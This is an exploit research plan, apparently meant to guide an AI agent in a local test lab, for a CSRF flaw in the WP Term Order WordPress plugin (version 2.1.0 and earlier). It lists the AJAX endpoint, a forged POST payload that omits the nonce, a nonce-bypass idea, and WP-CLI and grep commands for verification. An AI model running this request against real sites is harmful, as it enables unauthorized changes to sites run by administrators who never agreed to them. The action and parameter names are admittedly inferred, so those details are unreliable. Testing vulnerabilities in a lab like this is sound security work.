Term Order <= 2.1.0 - Cross-Site Request Forgery

This research plan outlines the technical steps to analyze and exploit CVE-2026-24542, a CSRF vulnerability in the WP Term Order plugin (<= 2.1.0).

---

1. Vulnerability Summary

The WP Term Order plugin fails to implement or correctly verify WordPress nonces in its term reordering functionality. Specifically, the AJAX handler responsible for saving the custom sort order of terms (categories, tags, or custom taxonomies) lacks a check_ajax_referer() or wp_verify_nonce() call. This allow an attacker to perform unauthorized term reordering by tricking a logged-in administrator into visiting a malicious page that submits a forged POST request to the site's AJAX endpoint.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: update-tax-order (inferred based on plugin purpose)
• HTTP Method: POST
• Payload Parameter: Likely order or tags (serialized string or array of term IDs).
• Authentication Level: Administrator (victim must be logged in).
• Preconditions: The site must have terms (e.g., Categories) created that the attacker wishes to reorder.

3. Code Flow (Inferred)

1. Hook Registration: The plugin registers an AJAX action for authenticated users:
   add_action('wp_ajax_update-tax-order', 'wptaxorder_update_order'); (inferred function name).
2. Entry Point: When an admin drags and drops terms in the UI, a POST request is sent to admin-ajax.php with action=update-tax-order.
3. Missing Security Check: The callback function (e.g., wptaxorder_update_order) begins processing $_POST data without calling check_ajax_referer('some_nonce_action', 'security').
4. Data Processing: The function iterates through the provided term IDs and updates the term_order (or menu_order) column in the wp_term_relationships or wp_terms table using $wpdb->update.
5. Sink: Direct database update without verifying the request's origin via CSRF tokens.

4. Nonce Acquisition Strategy

Note: As this is a CSRF vulnerability, the exploit's success depends on the absence or bypass of a nonce.

If a nonce is present but "incorrectly validated" (e.g., wp_verify_nonce used but the result is not checked):

1. Shortcode/Page Discovery: Identify where the plugin loads its reordering interface (usually the standard WordPress "Categories" or "Tags" pages in the admin dashboard).
2. Execution Context: The agent should use browser_navigate to wp-admin/edit-tags.php?taxonomy=category.
3. Variable Extraction: Use browser_eval to check for any localized data:
   browser_eval("window.wpTermOrderData || window.taxOrderConfig") (inferred names).
4. Bypass Check: If a nonce is required but the plugin uses a generic action like -1, the agent can acquire a nonce for action -1 from any other plugin on the site.

5. Exploitation Strategy

The goal is to demonstrate that a POST request to the AJAX handler succeeds without a valid nonce.

Step-by-Step Plan:

1. Identify IDs: Get the IDs of existing categories using WP-CLI.
2. Craft Payload: Construct a POST request to admin-ajax.php.
3. Execute via HTTP Request:

   // Payload example using http_request
   await http_request({
     url: "http://localhost:8080/wp-admin/admin-ajax.php",
     method: "POST",
     headers: {
       "Content-Type": "application/x-www-form-urlencoded"
     },
     body: "action=update-tax-order&order[]=TERM_ID_2&order[]=TERM_ID_1" // Adjust parameter names based on discovery
   });
   

4. Verification: Check the order of terms in the database.

6. Test Data Setup

1. Create Terms:

   wp term create category "Alpha"
   wp term create category "Beta"
   wp term create category "Gamma"
   

2. Capture Initial State:

   wp term list category --fields=term_id,name,term_order --orderby=term_order
   

7. Expected Results

• The http_request should return a 200 OK response, often containing 1 or {"success":true}.
• No "403 Forbidden" or "-1" (default WordPress AJAX nonce failure) should be returned.
• The term_order values in the database for the targeted terms should be updated to reflect the new order provided in the malicious request.

8. Verification Steps

After performing the http_request, run the following via WP-CLI:

# Check if the order changed from the initial state
wp term list category --fields=term_id,name,term_order --orderby=term_order

If the terms appear in the order sent by the exploit (e.g., Beta, Alpha, Gamma) instead of the creation order, the CSRF is confirmed.

9. Alternative Approaches

If the action name is not update-tax-order:

1. Grep Search: Search the plugin directory for wp_ajax_:
   grep -rn "wp_ajax_" wp-content/plugins/wp-term-order/
2. Parameter Search: Search for $_POST usage in the identified handler:
   grep -rn "\$_POST" wp-content/plugins/wp-term-order/
3. JS Analysis: Check the plugin's JavaScript files for the AJAX call structure:
   grep -rn "ajax" wp-content/plugins/wp-term-order/ --include="*.js"
   Look for the data object containing the action string.